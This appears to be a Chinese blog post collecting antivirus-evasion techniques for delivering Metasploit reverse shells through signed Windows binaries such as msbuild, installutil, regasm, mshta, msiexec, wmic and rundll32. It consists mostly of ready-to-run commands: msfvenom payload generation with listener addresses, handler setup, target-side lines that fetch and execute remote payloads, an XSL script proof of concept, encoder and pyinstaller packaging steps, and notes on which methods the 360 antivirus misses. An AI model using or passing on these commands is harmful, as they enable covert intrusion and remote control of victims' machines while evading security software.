zoukankan      html  css  js  c++  java
  • 这篇文章就总结一下关于免杀的方法

    免杀学习之使用msbuild来执行payload

    什么是msbuild

    msbuild是Microsoft和Visual Studio的生成系统,简单地说,这个就是用来编译你的项目,也就是所谓的编译器。MSBuild可在未安装Visual Studio的环境中编译.net的工程文件,MSBuild可可以编译特定格式的xml文件。总结来说msbuild可以编译执行csharp代码。

    存储路径

    加载32位的shellcode需要32位的msbuild
    
    C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe
    
    加载64位的shellcode需要64位的msbuild
    
    C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe
    

    生成shellcode并执行

    这里面我们使用msf来生成64位shellcode(没有32位的机器,尴尬QAQ)

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp

    使用别人的模板

    https://github.com/3gstudent/msbuild-inline-task.git

    使用executes x64 shellcode.xml这个模板(我是64位的机器),将45行的shellcode改为msf生成的shellcode(注意变量名)

    msf设置为监听状态

    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 172.16.1.130
    set LPORT 4444
    set ExitOnSession false
    set autorunscript migrate -n explorer.exe
    exploit -j
    

    然后在目标机器上执行

    C:WindowsMicrosoft.NETFramework64v4.0.30319>MSBuild.exe "C:Usersjack.0DAYDesktopexec.xml"

    后记:win10有内存保护,不允许写进shellcode。这里面我的win7和win2008是没有v4.0.30319这个目录的,其他的目录虽然也有msbuild但是用不了,编译的时候报错。

    暂时没有使用成功。

    installutil.exe和csc.exe的使用

    什么是installutil

    installer工具是一个命令行实用工具,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。(应该是c#)

    使用msf生成shellcode

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp

    下载别人的Installutil-shellcode的cs文件,将里面的shellcode替换为我们的。

    文件

    使用csc编译

    csc就是一个自带的c#的编译器

    C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /unsafe /platform:x86 /out:D:	estInstallUtil-shell.exe D:	estInstallUtil-ShellCode.cs
    

    后记:生成的后缀可以自定义,但是需要用installutil来使用

    使用installUtil来执行二进制文件

    C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U D:	estInstallUtil-shell.exe
    

    成功会反弹shell.但是360会拦截下来,需要点同意。emmmm

    regasm和regsvcs的使用

    两者的使用方式是一样的,并且于上文是相同的

    • 同样需要下载一些东西
    • msf中生成shellcode,并放入cs文件中
    • 编译(使用csc编译,不过必须编译为dlll才可以)
    • 执行(使用regasm和regsvcs)
    C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
    

    执行

    C:WindowsMicrosoft.NETFrameworkv4.0.30319
    egsvcs.exe 1.dll 
    C:WindowsMicrosoft.NETFrameworkv4.0.30319
    egasm.exe 1.dll
    或者
    C:WindowsMicrosoft.NETFrameworkv4.0.30319
    egsvcs.exe /U 1.dll 
    C:WindowsMicrosoft.NETFrameworkv4.0.30319
    egasm.exe /U 1.dll
    

    这里面我们没有签名工具sn,暂时先放着吧

    使用mshta

    这个就比较好利用了,因为这个是在环境变量里面的。

    • msf生成shellcode msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f raw > shellcode.bin
    • shellcode进行base64加密 cat shellcode.bin | base64 -w 0

    下载文件

    ' ---------- DO NOT EDIT BELOW HERE -----------上面包起来的base64替换掉。

    web服务部署一下

    目标机上执行 mshta.exe http://xxx/shellcode.hta

    NB,直接上线,360没有任何反应!!!!

    cobal strike中也有这个功能

    使用Msiexec

    Msiexec是Windows Installer的一部分,用于安装Windows Installer安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。

    Msiexec已经被添加到了环境变量里面了。

    • msf生成shellcode
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f msi > shellcode.txt
    
    • 目标机器执行命令
    msiexec.exe /q /i http://192.168.22.1:12345/shellcode.txt
    

    后记:360会拦截。提示msi下载攻击

    wmic

    已经在环境变量里面了

    wmic os get /FORMAT:"http://example.com/evil.xsl"

    poc

    <?xml version='1.0'?>
    <stylesheet
    xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
    xmlns:user="placeholder"
    version="1.0">
    <output method="text"/>
        <ms:script implements-prefix="user" language="JScript">
        <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
        ]]> </ms:script>
    </stylesheet>
    

    扩展

    https://3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

    后记:360会拦截,说是wmic攻击

    利用Rundll32.exe

    Rundll32.exe是指"执行32位的DLL文件"。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。

    • 执行自定义的
    rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject("WScript.Shell");w.run("calc");window.close()");
    

    后记:会被拦截

    使用shellcode loader

    借助第三方加载器,将shellcode加载到内存中来执行。

    下载地址

    • msf生成shellcode msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

    靶机执行

    shellcode_launcher.exe -i test.c

    靶机上线

    后记:360并不会拦截。有点厉害。

    使用偏僻语言(py和go等等)

    使用偏僻语言的好处就在于,让杀软识别不了程序的pe头。

    • msf生成py木马

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -e x86/shikata_ga_nai -i 5 -f py -o shellcode.py

    • 使用pyinstaller打包

    pyinstaller -F --console shellcode.py

    没有这个的话就 pip install pyinstaller 安装一下

    这里面有个坑,你用什么系统编译的就只能在上面系统上执行.

    点击生成的二进制文件.木马上线。

    使用Go语言

    暂时没整这个环境

  • 相关阅读:
    dubbo服务配置
    架构基本概念和架构本质
    最大子数组和问题
    struts2简单登陆页面
    四则运算随机出题
    省赛训练赛赛题(简单题)
    Ubuntu虚拟机安装,vritualbox虚拟机软件的使用
    Rational Rose 2007破解版
    netbeans出现的错误
    快速幂
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/zhe-pian-wen-zhang-jiu-zong-jie-yi-xia-guan-yu-mia.html
Copyright © 2011-2022 走看看